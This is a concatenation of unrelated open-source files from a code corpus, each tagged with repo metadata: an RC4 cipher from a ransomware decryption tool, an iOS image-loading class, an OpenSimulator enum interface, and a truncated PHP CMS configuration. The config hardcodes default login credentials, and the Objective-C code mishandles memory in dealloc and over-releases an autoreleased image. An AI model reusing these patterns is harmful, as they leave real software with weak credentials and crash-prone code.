#include "rc4.h" void rc4_init(const unsigned char *buf, unsigned int len, rc4_key_t * key) { unsigned char j = 0, o; unsigned char *state = key->state; int i; for (i = 0; i < 256; ++i) state[i] = i; key->x = 0; key->y = 0; for (i = 0; i < 256; ++i) { j = j + state[i] + buf[i % len]; o = state[i]; state[i] = state[j]; state[j] = o; } } void rc4_encrypt(unsigned char *buf, unsigned int len, rc4_key_t * key) { unsigned char x; unsigned char y, o; unsigned char *state = key->state; unsigned int i; x = key->x; y = key->y; for (i = 0; i < len; i++) { y = y + state[++x]; o = state[x]; state[x] = state[y]; state[y] = o; buf[i] ^= state[(state[x] + state[y]) & 0xff]; } key->x = x; key->y = y; } void rc4_decrypt(unsigned char *buf, unsigned int len, rc4_key_t * key) { rc4_encrypt(buf, len, key); }
sogeti-esec-lab/ransomware-xtbl-decrypt-tool
c/rc4.c
C
bsd-3-clause
1,025
/* File Version: 3.0 * Copyright David Book, buzztouch.com * * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright notice which includes the * name(s) of the copyright holders. It must also retain this list of conditions and the * following disclaimer. * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * Neither the name of David Book, or buzztouch.com nor the names of its contributors * may be used to endorse or promote products derived from this software without specific * prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. * IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, * INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY * OF SUCH DAMAGE. */ #import <Foundation/Foundation.h> #import "BT_item.h" #import "BT_strings.h" #import "BT_fileManager.h" #import "BT_imageTools.h" #import "BT_httpEater.h" #import "BT_httpEaterResponse.h" #import "BT_debugger.h" @implementation BT_item @synthesize itemId, itemType, sortableColumnValue, jsonVars, itemNickname; @synthesize image, imageName, imageURL, isHomeScreen; //init -(id)init{ if((self = [super init])){ //init vars.. self.itemId = @""; self.itemNickname = @""; self.itemType = @""; self.jsonVars = nil; self.image = nil; self.imageName = @""; self.imageURL = @""; self.sortableColumnValue = @""; self.isHomeScreen = FALSE; } return self; } //donwload images - (void)downloadImage{ if(self.image != nil){ [image release]; image = nil; } /* Where does the image come from? a) The file exists in the Xcode project, use it. b) The file does not exist in the Xcode project but does exist in the cache, use it c) The file does not exist in the Xcode project, or in the cache, and a URL was provided, download it and cache it. */ if ([[self imageName] length] < 3) { self.image = nil; return; }else{ //does icon exist in bundle, or locally in the cache? if([BT_fileManager doesFileExistInBundle:imageName]){ [BT_debugger showIt:self theMessage:[NSString stringWithFormat:@"using image from Xcode bundle: %@", [self imageName]]]; //use image from bundle UIImage *bundleImage = [UIImage imageNamed:imageName]; self.image = bundleImage; }else{ if([BT_fileManager doesLocalFileExist:imageName]){ [BT_debugger showIt:self theMessage:[NSString stringWithFormat:@"using image from cache: %@", [self imageName]]]; //use image from cache UIImage *cacheImage = [BT_fileManager getImageFromFile:imageName]; self.image = cacheImage; }else{ //download the image if([self.imageURL length] > 3){ [BT_debugger showIt:self theMessage:[NSString stringWithFormat:@"downloading image from: %@", [self imageURL]]]; ///merge possible variables in URL NSString *useURL = [self imageURL]; NSString *escapedUrl = [useURL stringByAddingPercentEscapesUsingEncoding:NSUTF8StringEncoding]; //download the image BT_httpEaterResponse *response = [BT_httpEater get:escapedUrl]; UIImage *tmpImage = nil; if([response isSuccessful]){ tmpImage = [[UIImage alloc] initWithData:[response body]]; } if(tmpImage){ //if this BT_item does not have "cacheWebImages" = 0, this defaults to 1 (true, cache web images) if([[BT_strings getJsonPropertyValue:self.jsonVars nameOfProperty:@"cacheWebImages" defaultValue:@"1"] isEqualToString:@"1"]){ //save image to cache [BT_fileManager saveImageToFile:tmpImage fileName:self.imageName]; } //set then cleanup self.image = tmpImage; [tmpImage release]; tmpImage = nil; }else{ //no icon downloaded, use default icon UIImage *tmpImage = [UIImage imageNamed:@"noImage.png"]; self.image = tmpImage; [tmpImage release]; tmpImage = nil; }//response not successful }else{ [BT_debugger showIt:self theMessage:[NSString stringWithFormat:@"no image url provided, not downloading: %@", @""]]; } } } }//imageName } //dealloc - (void)dealloc{ [super dealloc]; [itemId release]; itemId = nil; [itemNickname release]; itemNickname = nil; [itemType release]; itemType = nil; [sortableColumnValue release]; sortableColumnValue = nil; [jsonVars release]; jsonVars = nil; [image release]; image = nil; [imageName release]; imageName = nil; [imageURL release]; imageURL = nil; } @end
Tabatoo/Tabatoo-buzztouch-demo-ios
BT_Core/BT_item.m
Matlab
bsd-3-clause
5,444
/* * Copyright (c) Contributors, http://opensimulator.org/ * See CONTRIBUTORS.TXT for a full list of copyright holders. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of the OpenSimulator Project nor the * names of its contributors may be used to endorse or promote products * derived from this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE DEVELOPERS ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE * DISCLAIMED. IN NO EVENT SHALL THE CONTRIBUTORS BE LIABLE FOR ANY * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ using OpenMetaverse; using System; namespace OpenSim.Region.OptionalModules.Scripting.Minimodule.Object { public enum HoleShape { Default = 0x00, Circle = 0x10, Square = 0x20, Triangle = 0x30 } public enum PrimType { NotPrimitive = 255, Box = 0, Cylinder = 1, Prism = 2, Sphere = 3, Torus = 4, Tube = 5, Ring = 6, Sculpt = 7 } public enum SculptType { Default = 1, Sphere = 1, Torus = 2, Plane = 3, Cylinder = 4 } public interface IObjectShape { Double HoleSize { get; set; } HoleShape HoleType { get; set; } PrimType PrimType { get; set; } UUID SculptMap { get; set; } SculptType SculptType { get; set; } } }
ft-/opensim-optimizations-wip-extras
OpenSim/Region/OptionalModules/Scripting/Minimodule/Object/IObjectShape.cs
C#
bsd-3-clause
2,468
<?php /** * CMS config (cms_config), this configuration could be overwritten * by configuration in modules and sites. * This config is registered as 'cms_config' service, when all configuration * sources (site, modules) are merged. */ return array( 'templates' => array ( 'template_map' => array( // Content front component 'Vivo\CMS\UI\Content\Layout' => __DIR__.'/../view/Vivo/CMS/UI/Content/Layout.phtml', 'Vivo\CMS\UI\Content\File:html' => __DIR__.'/../view/Vivo/CMS/UI/Content/File.html.phtml', 'Vivo\CMS\UI\Content\File:plain' => __DIR__.'/../view/Vivo/CMS/UI/Content/File.plain.phtml', 'Vivo\CMS\UI\Content\File:flash' => __DIR__.'/../view/Vivo/CMS/UI/Content/File.flash.phtml', 'Vivo\CMS\UI\Content\File:image' => __DIR__.'/../view/Vivo/CMS/UI/Content/File.image.phtml', 'Vivo\CMS\UI\Content\File' => __DIR__.'/../view/Vivo/CMS/UI/Content/File.phtml', 'Vivo\CMS\UI\Content\Fileboard' => __DIR__.'/../view/Vivo/CMS/UI/Content/Fileboard.phtml', 'Vivo\CMS\UI\Content\Fileboard:Media' => __DIR__.'/../view/Vivo/CMS/UI/Content/Fileboard.Media.phtml', 'Vivo\CMS\UI\Content\Fileboard:Separator' => __DIR__.'/../view/Vivo/CMS/UI/Content/Fileboard.Separator.phtml', 'Vivo\CMS\UI\Content\Gallery' => __DIR__.'/../view/Vivo/CMS/UI/Content/Gallery.phtml', 'Vivo\CMS\UI\Content\Overview' => __DIR__.'/../view/Vivo/CMS/UI/Content/Overview.phtml', 'Vivo\CMS\UI\Content\Overview:Inline' => __DIR__.'/../view/Vivo/CMS/UI/Content/Overview.Inline.phtml', 'Vivo\CMS\UI\Content\Overview:NavInline' => __DIR__.'/../view/Vivo/CMS/UI/Content/Overview.NavInline.phtml', 'Vivo\CMS\UI\Content\Overview:NavBlock' => __DIR__.'/../view/Vivo/CMS/UI/Content/Overview.NavBlock.phtml', 'Vivo\CMS\UI\Content\Overview:Desc' => __DIR__.'/../view/Vivo/CMS/UI/Content/Overview.Desc.phtml', 'Vivo\CMS\UI\Content\Overview:Date' => __DIR__.'/../view/Vivo/CMS/UI/Content/Overview.Date.phtml', 'Vivo\CMS\UI\Content\Overview:DateDesc' => __DIR__.'/../view/Vivo/CMS/UI/Content/Overview.DateDesc.phtml', 'Vivo\CMS\UI\Content\Overview:DateDescThumb' => __DIR__.'/../view/Vivo/CMS/UI/Content/Overview.DateDescThumb.phtml', 'Vivo\CMS\UI\Content\Overview:Thumb' => __DIR__.'/../view/Vivo/CMS/UI/Content/Overview.Thumb.phtml', 'Vivo\CMS\UI\Content\Overview:ThumbDesc' => __DIR__.'/../view/Vivo/CMS/UI/Content/Overview.ThumbDesc.phtml', 'Vivo\CMS\UI\Content\Overview:Carousel' => __DIR__.'/../view/Vivo/CMS/UI/Content/Overview.Carousel.phtml', 'Vivo\CMS\UI\Content\Overview:CarouselTouch' => __DIR__.'/../view/Vivo/CMS/UI/Content/Overview.CarouselTouch.phtml', 'Vivo\CMS\UI\Content\Overview:Expandable' => __DIR__.'/../view/Vivo/CMS/UI/Content/Overview.Expandable.phtml', 'Vivo\CMS\UI\Content\Navigation' => __DIR__.'/../view/Vivo/CMS/UI/Content/Navigation.phtml', 'Vivo\CMS\UI\Content\Navigation:Breadcrumbs' => __DIR__.'/../view/Vivo/CMS/UI/Content/Navigation.Breadcrumbs.phtml', 'Vivo\CMS\UI\Content\SiteMap' => __DIR__.'/../view/Vivo/CMS/UI/Content/SiteMap.phtml', 'Vivo\CMS\UI\Content\Logon' => __DIR__.'/../view/Vivo/CMS/UI/Content/Logon.phtml', 'Vivo\CMS\UI\Content\Search' => __DIR__.'/../view/Vivo/CMS/UI/Content/Search.phtml', // Content editor component 'Vivo\CMS\UI\Content\Editor\Editor' => __DIR__.'/../view/Vivo/CMS/UI/Content/Editor/Editor.phtml', 'Vivo\CMS\UI\Content\Editor\File' => __DIR__.'/../view/Vivo/CMS/UI/Content/Editor/File.phtml', 'Vivo\CMS\UI\Content\Editor\Fileboard' => __DIR__.'/../view/Vivo/CMS/UI/Content/Editor/Fileboard.phtml', 'Vivo\CMS\UI\Content\Editor\Gallery' => __DIR__.'/../view/Vivo/CMS/UI/Content/Editor/Gallery.phtml', 'Vivo\CMS\UI\Content\Editor\Layout' => __DIR__.'/../view/Vivo/CMS/UI/Content/Editor/Layout.phtml', 'Vivo\CMS\UI\Content\Editor\Overview' => __DIR__.'/../view/Vivo/CMS/UI/Content/Editor/Overview.phtml', 'Vivo\CMS\UI\Content\Editor\Navigation' => __DIR__.'/../view/Vivo/CMS/UI/Content/Editor/Navigation.phtml', 'Vivo\CMS\UI\Content\Editor\SiteMap' => __DIR__.'/../view/Vivo/CMS/UI/Content/Editor/SiteMap.phtml', 'Vivo\CMS\UI\Content\Editor\File\WysiwygAdapter' => __DIR__.'/../view/Vivo/CMS/UI/Content/Editor/File/WysiwygAdapter.phtml', 'Vivo\CMS\UI\Content\Editor\File\DefaultAdapter' => __DIR__.'/../view/Vivo/CMS/UI/Content/Editor/File/DefaultAdapter.phtml', 'Vivo\CMS\UI\Content\Editor\Search' => __DIR__.'/../view/Vivo/CMS/UI/Content/Editor/Search.phtml', // Other CMS 'Vivo\CMS\UI\Rss' => __DIR__.'/../view/Vivo/CMS/UI/Rss.phtml', // Other UI 'Vivo\UI\Page' => __DIR__.'/../view/Vivo/UI/Page.phtml', 'Vivo\UI\ComponentContainer' => __DIR__.'/../view/Vivo/UI/ComponentContainer.phtml', 'Vivo\UI\TabContainer' => __DIR__.'/../view/Vivo/UI/TabContainer.phtml', 'Vivo\UI\Paginator' => __DIR__.'/../view/Vivo/UI/Paginator.phtml', 'Vivo\UI\Ribbon' => __DIR__.'/../view/Vivo/UI/TabContainerRibbon.phtml', 'Vivo\UI\Ribbon\Tab' => __DIR__.'/../view/Vivo/UI/Ribbon/Tab.phtml', 'Vivo\UI\Ribbon\Group' => __DIR__.'/../view/Vivo/UI/Ribbon/Group.phtml', 'Vivo\UI\Ribbon\Item' => __DIR__.'/../view/Vivo/UI/Ribbon/Item.phtml', 'Vivo\UI\Alert' => __DIR__.'/../view/Vivo/UI/Alert.phtml', // Special Templates 'Vivo\Blank' => __DIR__.'/../view/Vivo/Blank.phtml', 'Vivo\TemplateNotFound' => __DIR__.'/../view/Vivo/TemplateNotFound.phtml', ), 'custom_templates' => array ( // custom selectable templates 'Vivo\CMS\Model\Content\Overview' => array ( 'Vivo\CMS\UI\Content\Overview', 'Vivo\CMS\UI\Content\Overview:Inline', 'Vivo\CMS\UI\Content\Overview:NavInline', 'Vivo\CMS\UI\Content\Overview:NavBlock', 'Vivo\CMS\UI\Content\Overview:Desc', 'Vivo\CMS\UI\Content\Overview:Date', 'Vivo\CMS\UI\Content\Overview:DateDesc', 'Vivo\CMS\UI\Content\Overview:DateDescThumb', 'Vivo\CMS\UI\Content\Overview:Thumb', 'Vivo\CMS\UI\Content\Overview:Carousel', 'Vivo\CMS\UI\Content\Overview:ThumbDesc', 'Vivo\CMS\UI\Content\Overview:CarouselTouch', 'Vivo\CMS\UI\Content\Overview:Expandable', ), 'Vivo\CMS\Model\Content\Navigation' => array( 'Vivo\CMS\UI\Content\Navigation', 'Vivo\CMS\UI\Content\Navigation:Breadcrumbs', ), ), ), 'component_mapping' => array ( 'front_component' => array ( 'Vivo\CMS\Model\Content\Component' => 'Vivo\CMS\UI\Content\Component', 'Vivo\CMS\Model\Content\Layout' => 'Vivo\CMS\UI\Content\Layout', 'Vivo\CMS\Model\Content\File' => 'Vivo\CMS\UI\Content\File', 'Vivo\CMS\Model\Content\Overview' => 'Vivo\CMS\UI\Content\Overview', 'Vivo\CMS\Model\Content\Hyperlink' => 'Vivo\CMS\UI\Content\Hyperlink', 'Vivo\CMS\Model\Content\Logon' => 'Vivo\CMS\UI\Content\Logon', 'Vivo\CMS\Model\Content\Navigation' => 'Vivo\CMS\UI\Content\Navigation', 'Vivo\CMS\Model\Content\Fileboard' => 'Vivo\CMS\UI\Content\Fileboard', 'Vivo\CMS\Model\Content\Gallery' => 'Vivo\CMS\UI\Content\Gallery', 'Vivo\CMS\Model\Content\SiteMap' => 'Vivo\CMS\UI\Content\SiteMap', 'Vivo\CMS\Model\Content\Search' => 'Vivo\CMS\UI\Content\Search', ), 'editor_component' => array ( 'Vivo\CMS\Model\Content\Component' => 'Vivo\CMS\UI\Content\Editor\Editor', 'Vivo\CMS\Model\Content\File' => 'Vivo\CMS\UI\Content\Editor\File', 'Vivo\CMS\Model\Content\Overview' => 'Vivo\CMS\UI\Content\Editor\Overview', 'Vivo\CMS\Model\Content\Layout' => 'Vivo\CMS\UI\Content\Editor\Layout', 'Vivo\CMS\Model\Content\Link' => 'Vivo\CMS\UI\Content\Editor\Editor', 'Vivo\CMS\Model\Content\Hyperlink' => 'Vivo\CMS\UI\Content\Editor\Editor', 'Vivo\CMS\Model\Content\Navigation' => 'Vivo\CMS\UI\Content\Editor\Navigation', 'Vivo\CMS\Model\Content\Fileboard' => 'Vivo\CMS\UI\Content\Editor\Fileboard', 'Vivo\CMS\Model\Content\Gallery' => 'Vivo\CMS\UI\Content\Editor\Gallery', 'Vivo\CMS\Model\Content\SiteMap' => 'Vivo\CMS\UI\Content\Editor\SiteMap', 'Vivo\CMS\Model\Content\Search' => 'Vivo\CMS\UI\Content\Editor\Search', ), ), 'contents' => array ( 'available_contents' => array ( 'file_text/html' => array( 'class' => 'Vivo\CMS\Model\Content\File', 'label' => 'Vivo: File - HTML file', 'options' => array( 'mimeType' => 'text/html', ), ), 'file' => array( 'class' => 'Vivo\CMS\Model\Content\File', 'label' => 'Vivo: File - general file', ), 'overview' => array( 'class' => 'Vivo\CMS\Model\Content\Overview', 'label' => 'Vivo: Overview', ), 'link' => array( 'class' => 'Vivo\CMS\Model\Content\Link', 'label' => 'Vivo: Link', ), 'hyperlink' => array( 'class' => 'Vivo\CMS\Model\Content\Hyperlink', 'label' => 'Vivo: Hyperlink', ), 'component' => array( 'class' => 'Vivo\CMS\Model\Content\Component', 'label' => 'Vivo: Component', ), 'layout' => array( 'class' => 'Vivo\CMS\Model\Content\Layout', 'label' => 'Vivo: Layout', ), 'navigation' => array( 'class' => 'Vivo\CMS\Model\Content\Navigation', 'label' => 'Vivo: Navigation', ), 'fileboard' => array( 'class' => 'Vivo\CMS\Model\Content\Fileboard', 'label' => 'Vivo: Fileboard', ), 'gallery' => array( 'class' => 'Vivo\CMS\Model\Content\Gallery', 'label' => 'Vivo: Gallery', ), 'site_map' => array( 'class' => 'Vivo\CMS\Model\Content\SiteMap', 'label' => 'Vivo: SiteMap', ), 'search' => array( 'class' => 'Vivo\CMS\Model\Content\Search', 'label' => 'Vivo: Search', ), ), 'restrictions' => array ( 'document_type' => array ( 'Vivo\CMS\Model\Folder' => array( //Folder has no available contents ), ), 'document_path' => array ( '/layouts' => array ( 'layout', ), ), 'user_role' => array ( // 'managers' => array ( // ), ), // 'site' => array ( // //Whitelist of allowed contents in current site. // ), ), //Editor adapters for specific content types 'adapters' => array ( 'Vivo\CMS\Model\Content\File' => array( //TODO - set service name of the default adapter for File content 'default' => 'Vivo\CMS\UI\Content\Editor\File\DefaultAdapter', 'service_map' => array( 'text/html' => 'Vivo\CMS\UI\Content\Editor\File\WysiwygAdapter', ), ), ), ), 'workflow' => array ( 'states' => array( 100 => array( 'state'=> 'NEW', 'groups' => array(/* 'Anyone' */), ), 200 => array( 'state'=> 'PUBLISHED', 'groups' => array(), ), 300 => array( 'state'=> 'ARCHIVED', 'groups' => array(), ), ), ), 'languages' => array( 'cs' => 'čeština', 'sk' => 'slovenčina', 'en' => 'english', 'de' => 'deutsch', 'pl' => 'polski', 'fr' => 'français', 'it' => 'italiano', 'es' => 'español', 'ru' => 'по-русски', ), 'backend' => array ( 'plugins' => array ( ), //Backend Tree component 'tree' => array( 'options' => array( 'max_items' => 20, ), ), ), 'service_manager' => array ( //configuration of service manager, services defined here should not override //services defined in Vivo config 'invokables' => array ( 'Vivo\CMS\UI\Blank' => 'Vivo\CMS\UI\Blank', 'Vivo\CMS\UI\Root' => 'Vivo\CMS\UI\Root', 'Vivo\CMS\UI\Manager\Explorer\Ribbon' => 'Vivo\CMS\UI\Manager\Explorer\Ribbon', 'Vivo\CMS\UI\LayoutEmptyPanel' => 'Vivo\CMS\UI\LayoutEmptyPanel', 'Vivo\CMS\UI\UnpublishedDocument' => 'Vivo\CMS\UI\UnpublishedDocument', 'Vivo\UI\ComponentContainer' => 'Vivo\UI\ComponentContainer', 'Vivo\UI\TabContainer' => 'Vivo\UI\TabContainer', 'Vivo\Backend\UI\HeaderBar' => 'Vivo\Backend\UI\HeaderBar', 'Vivo\Backend\UI\FooterBar' => 'Vivo\Backend\UI\FooterBar', ), 'factories' => array ( // Content factories 'Vivo\CMS\UI\Content\File' => 'Vivo\CMS\UI\Content\FileFactory', 'Vivo\CMS\UI\Content\Hyperlink' => 'Vivo\CMS\UI\Content\HyperlinkFactory', 'Vivo\CMS\UI\Content\Layout' => 'Vivo\CMS\UI\Content\LayoutFactory', 'Vivo\CMS\UI\Content\Overview' => 'Vivo\CMS\UI\Content\OverviewFactory', 'Vivo\CMS\UI\Content\Logon' => 'Vivo\CMS\UI\Content\LogonFactory', 'Vivo\CMS\UI\Content\Navigation' => 'Vivo\CMS\UI\Content\NavigationFactory', 'Vivo\CMS\UI\Content\Fileboard' => 'Vivo\CMS\UI\Content\FileboardFactory', 'Vivo\CMS\UI\Content\Gallery' => 'Vivo\CMS\UI\Content\GalleryFactory', 'Vivo\CMS\UI\Content\SiteMap' => 'Vivo\CMS\UI\Content\SiteMapFactory', 'Vivo\CMS\UI\Content\Search' => 'Vivo\CMS\UI\Content\SearchFactory', // Content editor factories 'Vivo\CMS\UI\Content\Editor\Editor' => 'Vivo\CMS\UI\Content\Editor\EditorFactory', 'Vivo\CMS\UI\Content\Editor\File' => 'Vivo\CMS\UI\Content\Editor\FileFactory', 'Vivo\CMS\UI\Content\Editor\File\WysiwygAdapter' => 'Vivo\CMS\UI\Content\Editor\File\WysiwygAdapterFactory', 'Vivo\CMS\UI\Content\Editor\File\DefaultAdapter' => 'Vivo\CMS\UI\Content\Editor\File\DefaultAdapterFactory', 'Vivo\CMS\UI\Content\Editor\Overview' => 'Vivo\CMS\UI\Content\Editor\OverviewFactory', 'Vivo\CMS\UI\Content\Editor\Layout' => 'Vivo\CMS\UI\Content\Editor\LayoutFactory', 'Vivo\CMS\UI\Content\Editor\Navigation' => 'Vivo\CMS\UI\Content\Editor\NavigationFactory', 'Vivo\CMS\UI\Content\Editor\Fileboard' => 'Vivo\CMS\UI\Content\Editor\FileboardFactory', 'Vivo\CMS\UI\Content\Editor\Gallery' => 'Vivo\CMS\UI\Content\Editor\GalleryFactory', 'Vivo\CMS\UI\Content\Editor\SiteMap' => 'Vivo\CMS\UI\Content\Editor\SiteMapFactory', 'Vivo\CMS\UI\Content\Editor\Search' => 'Vivo\CMS\UI\Content\Editor\SearchFactory', // CMS listeners 'Vivo\CMS\Listener\FetchDocumentListener' => 'Vivo\CMS\Listener\FetchDocumentListenerFactory', 'Vivo\CMS\Listener\FetchDocumentByUrlListener' => 'Vivo\CMS\Listener\FetchDocumentByUrlListenerFactory', 'Vivo\CMS\Listener\FetchErrorDocumentListener' => 'Vivo\CMS\Listener\FetchErrorDocumentListenerFactory', 'Vivo\CMS\Listener\RedirectMapListener' => 'Vivo\CMS\Listener\RedirectMapListenerFactory', 'Vivo\CMS\Listener\ComponentTreeFromDocumentListener' => 'Vivo\CMS\Listener\ComponentTreeFromDocumentListenerFactory', 'Vivo\CMS\Listener\RssListener' => 'Vivo\CMS\Listener\RssListenerFactory', // Other 'Vivo\UI\Page' => 'Vivo\Service\UI\PageFactory', 'Vivo\UI\Alert' => 'Vivo\UI\AlertFactory', 'Vivo\UI\Paginator' => 'Vivo\UI\PaginatorFactory', 'Vivo\CMS\UI\Rss' => 'Vivo\CMS\UI\RssFactory', 'Vivo\UI\Ribbon\Tab' => 'Vivo\UI\Ribbon\TabFactory', 'Vivo\UI\Ribbon\Group' => 'Vivo\UI\Ribbon\GroupFactory', 'Vivo\UI\Ribbon\Item' => 'Vivo\UI\Ribbon\ItemFactory', 'security_manager' => 'Vivo\Service\SimpleSecurityManagerFactory', // 'security_manager' => 'Vivo\Service\DbSecurityManagerFactory', // Backend //TODO move to own config 'Vivo\Backend\UI\Backend' => 'Vivo\Backend\UI\BackendFactory', 'Vivo\Backend\UI\SiteSelector' => 'Vivo\Backend\UI\SiteSelectorFactory', 'Vivo\Backend\UI\Explorer\Explorer' => 'Vivo\Backend\UI\Explorer\ExplorerFactory', 'Vivo\Backend\UI\Explorer\Editor' => 'Vivo\Backend\UI\Explorer\EditorFactory', 'Vivo\Backend\UI\Explorer\Editor\Content' => 'Vivo\Backend\UI\Explorer\Editor\ContentFactory', 'Vivo\Backend\UI\Explorer\Editor\ContentTab' => 'Vivo\Backend\UI\Explorer\Editor\ContentTabFactory', 'Vivo\Backend\UI\Explorer\Editor\Resource' => 'Vivo\Backend\UI\Explorer\Editor\ResourceFactory', 'Vivo\Backend\UI\Explorer\Finder' => 'Vivo\Backend\UI\Explorer\FinderFactory', 'Vivo\Backend\UI\Explorer\Delete' => 'Vivo\Backend\UI\Explorer\DeleteFactory', 'Vivo\Backend\UI\Explorer\Creator' => 'Vivo\Backend\UI\Explorer\CreatorFactory', 'Vivo\Backend\UI\Explorer\Copy' => 'Vivo\Backend\UI\Explorer\CopyFactory', 'Vivo\Backend\UI\Explorer\Move' => 'Vivo\Backend\UI\Explorer\MoveFactory', 'Vivo\Backend\UI\Explorer\Viewer' => 'Vivo\Backend\UI\Explorer\ViewerFactory', 'Vivo\Backend\UI\Explorer\Browser' => 'Vivo\Backend\UI\Explorer\BrowserFactory', 'Vivo\Backend\UI\Explorer\Tree' => 'Vivo\Backend\UI\Explorer\TreeFactory', 'Vivo\Backend\UI\Explorer\Ribbon' => 'Vivo\Backend\UI\Explorer\RibbonFactory', 'Vivo\Backend\UI\Logon' => 'Vivo\Backend\UI\LogonFactory', 'Vivo\Backend\UI\ModulesPanel' => 'Vivo\Backend\UI\ModulesPanelFactory', 'Vivo\Backend\UI\Site' => 'Vivo\Backend\UI\SiteFactory', 'Vivo\Backend\UI\Cache' => 'Vivo\Backend\UI\CacheFactory', 'Vivo\Backend\Provider\EntityResource' => 'Vivo\Backend\Provider\EntityResourceFactory', 'Vivo\Backend\Provider\Language' => 'Vivo\Backend\Provider\LanguageFactory', 'Vivo\Backend\Provider\Sorting' => 'Vivo\Backend\Provider\SortingFactory', 'Vivo\Backend\ModuleResolver' => 'Vivo\Backend\ModuleResolverFactory', ), 'aliases' => array( ), 'shared' => array( ), 'initializers' => array( ), ), 'cms_front_controller' => array( 'listeners' => array( // fetch 'Vivo\CMS\Listener\FetchDocumentListener' => 100, 'Vivo\CMS\Listener\FetchDocumentByUrlListener' => 200, 'Vivo\CMS\Listener\FetchErrorDocumentListener' => 300, // redirect 'Vivo\CMS\Listener\RedirectMapListener' => 100, // create 'Vivo\CMS\Listener\RssListener' => 500, 'Vivo\CMS\Listener\ComponentTreeFromDocumentListener' => 100, // render ), ), 'ui' => array ( //configuration of ui components 'Vivo\UI\Page' => array ( 'doctype' => 'HTML5', 'links' => array ( 'apple_touch_icon_57' => array( 'rel' => 'apple-touch-icon-precomposed', 'href' => '/.Vivo.resource/apple-touch-icon-57.png', ), 'apple_touch_icon_72' => array( 'rel' => 'apple-touch-icon-precomposed', 'sizes' => '72x72', 'href' => '/.Vivo.resource/apple-touch-icon-72.png', ), 'apple_touch_icon_114' => array( 'rel' => 'apple-touch-icon-precomposed', 'sizes' => '114x114', 'href' => '/.Vivo.resource/apple-touch-icon-114.png', ), 'apple_touch_icon_144' => array( 'rel' => 'apple-touch-icon-precomposed', 'sizes' => '144x144', 'href' => '/.Vivo.resource/apple-touch-icon-144.png', ), 'favicon' => array( 'rel' => 'shortcut icon', 'href' => '/.Vivo.resource/favicon.ico', ), 'print_css' => array( 'rel' => 'stylesheet', 'href' => '/.Vivo.resource/css/print.css', 'type' => 'text/css', 'media' => 'print', ), 'front_css' => array( 'rel' => 'stylesheet', 'href' => '/.Vivo.resource/css/front.css', 'type' => 'text/css', 'media' => 'screen', //'offset' => 10000, ), ), 'scripts' => array ( // 'script1' => array( // 'src' => '/.Vivo.resource/js/...', // 'type' => 'text/javascript', // 'offset' => 1000, // ), ), 'metas' => array ( array ( 'name' => 'Robots', 'content' => 'INDEX,FOLLOW', ), array ( 'charset' => 'UTF-8', ), // array ( // 'http-equiv' => 'Content-Type', // 'content' => 'text/html', // 'charset' => 'utf-8', // ), ), ), 'Vivo\UI\Content\Navigation' => array( //Cache for navigation containers 'cache' => null, ), 'Vivo\UI\Content\Overview' => array( //Cache for overview pages 'cache' => null, ), 'Vivo\UI\Content\SiteMap' => array( //Cache for sitemap containers 'cache' => null, ), ), 'output_filters' => array ( //register output filters //'Vivo\Http\Filter\UpperCase', 'Vivo\Http\Filter\ImageTransform', ), 'security_manager_simple' => array( //Define your options in your local.php config 'options' => array( //Security domain - if not set, the security domain of the active site will be used 'security_domain' => 'VIVO', 'username' => 'vivo.user', 'password' => 'password', ), ), 'security_manager_db' => array( //Define your options in your local.php config 'options' => array( //'super_password' => 'Vivo.super.Pwd.497', 'super_access_networks' => array( //'127.0.0.1', ), ), ), 'mail' => array( 'simple_renderer' => array( 'options' => array( //Map of template names mapped to phtml files 'template_map' => array( ), //Array of helper names to be copied from the main helper plugin manager //Note that there are Zend view helpers available by default //See Zend\View\HelperPluginManager 'use_helpers' => array( 'translate', ), ), ), ), 'Vivo\CMS\ComponentFactory' => array ( 'specialComponents' => array ( //these components are used instead of missing components 'layout_empty_panel' => 'Vivo\CMS\UI\LayoutEmptyPanel', 'unpublished_document' => 'Vivo\CMS\UI\UnpublishedDocument', ), ), 'error_documents' => array ( 'code' => array ( '401' => '/error-401/', '403' => '/error-403/', '404' => '/error-404/', '500' => '/error-500/', ), 'default' => '/error/', ), 'document_sorting' => array ( 'native' => array( 'none' => 'none', 'parent' => 